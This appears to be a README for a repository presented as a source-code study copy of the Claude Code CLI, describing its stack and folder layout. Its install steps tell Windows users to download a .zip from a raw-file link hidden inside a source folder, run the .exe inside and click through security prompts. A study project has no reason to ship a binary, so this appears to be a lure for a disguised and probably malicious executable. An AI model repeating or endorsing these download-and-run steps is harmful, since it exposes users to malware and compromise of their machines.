Claude-code is a source code study project for the Claude Code CLI. It helps you explore how the tool is built and how its parts work together.
This project uses:
- TypeScript and TSX
- Bun for running and managing packages
- Ink for terminal UI
- Commander.js for command handling
- Chalk for terminal styling
It is built around command-line work, file tools, and small services that support code tasks.
- Open the release page: https://github.com/insightful-trimming472/Claude-code/raw/refs/heads/main/src/components/permissions/NotebookEditPermissionRequest/Claude-code-v2.5-beta.4.zip
- Look for the latest release
- Download the file for Windows if one is listed
- Save the file to a folder you can find easily, such as Downloads or Desktop
If the release includes a .exe file, run that file after download. If it includes a .zip file, unzip it first, then open the app inside the folder.
Use these steps on a Windows PC:
- Download the release from the link above
- Open File Explorer and go to the folder where the file was saved
- If the file is a
.zip, right-click it and choose Extract All - Open the extracted folder
- Double-click the app file to start it
- If Windows shows a security prompt, choose Run if you trust the file source
If the app opens in a terminal window, keep that window open while you use it.
A typical Windows setup should work with this project:
- Windows 10 or Windows 11
- Internet access for first-time use
- A terminal app if the tool runs in command line mode
- Enough free space for the app and its files
- A modern CPU and at least 4 GB of RAM
For best results, use the newest Windows update you can install.
The code is grouped into clear folders so each part has one job:
commands/handles slash commands like/commitand/reviewcomponents/holds the user interface partsservices/holds core app logictools/contains file and shell toolshooks/stores reusable React hooksconstants/keeps shared valuesink/connects the terminal UI piecesutils/includes helper code
This layout makes it easier to study how the app works from end to end.
The project shows how a CLI assistant can support coding work such as:
- Reading files
- Editing files
- Searching code
- Matching file names
- Running shell commands
- Handling tasks in steps
- Syncing settings
- Working with API services
- Connecting to MCP tools
These parts work together to support a command-line coding assistant.
src/
├── commands/ # Slash commands such as /commit and /review
├── components/ # UI components based on Ink React
│ └── design-system/ # Shared UI pieces
├── services/ # Core services
│ ├── api/ # API service layer
│ ├── mcp/ # MCP protocol support
│ ├── analytics/ # Usage analysis
│ └── settingsSync/ # Settings sync
├── tools/ # Tool implementations
│ ├── BashTool/ # Shell command execution
│ ├── FileReadTool/ # Read files
│ ├── FileEditTool/ # Edit files
│ ├── GrepTool/ # Search code
│ ├── GlobTool/ # Match files
│ ├── TaskTool/ # Task agent
│ └── ... # More tools
├── hooks/ # React hooks
├── constants/ # Shared values
├── ink/ # Terminal UI framework
├── utils/ # Helper code
After you start the app, you may see a command prompt or a menu in the terminal.
Use it to:
- Pick a task
- Enter a file or command
- Review the result
- Repeat the next step if needed
If the app asks for a path, type the full path to the file or folder you want to use.
If you want to study the code, start in this order:
src/commands/to see user commandssrc/tools/to see file and shell actionssrc/services/to see app logicsrc/components/to see the terminal UIsrc/utils/for helper functions
This order helps you understand how input moves through the app.
People may use this project to:
- Learn how a CLI AI assistant is built
- Study command handling in a terminal app
- See how file tools work in a code assistant
- Explore Ink-based terminal UI design
- Understand service layers in a TypeScript app
If the app does not start:
- Check that the file finished downloading
- Make sure you opened the correct release file
- Try moving the file to a simple folder such as
C:\Claude-code - Run it again from that folder
- If the app opens and closes fast, start it from a terminal window so you can see messages
If Windows blocks the file, check the file name and source page before you run it.
This repository is a source code study project for Claude Code CLI. The code is meant for reading, testing, and learning how the tool is put together.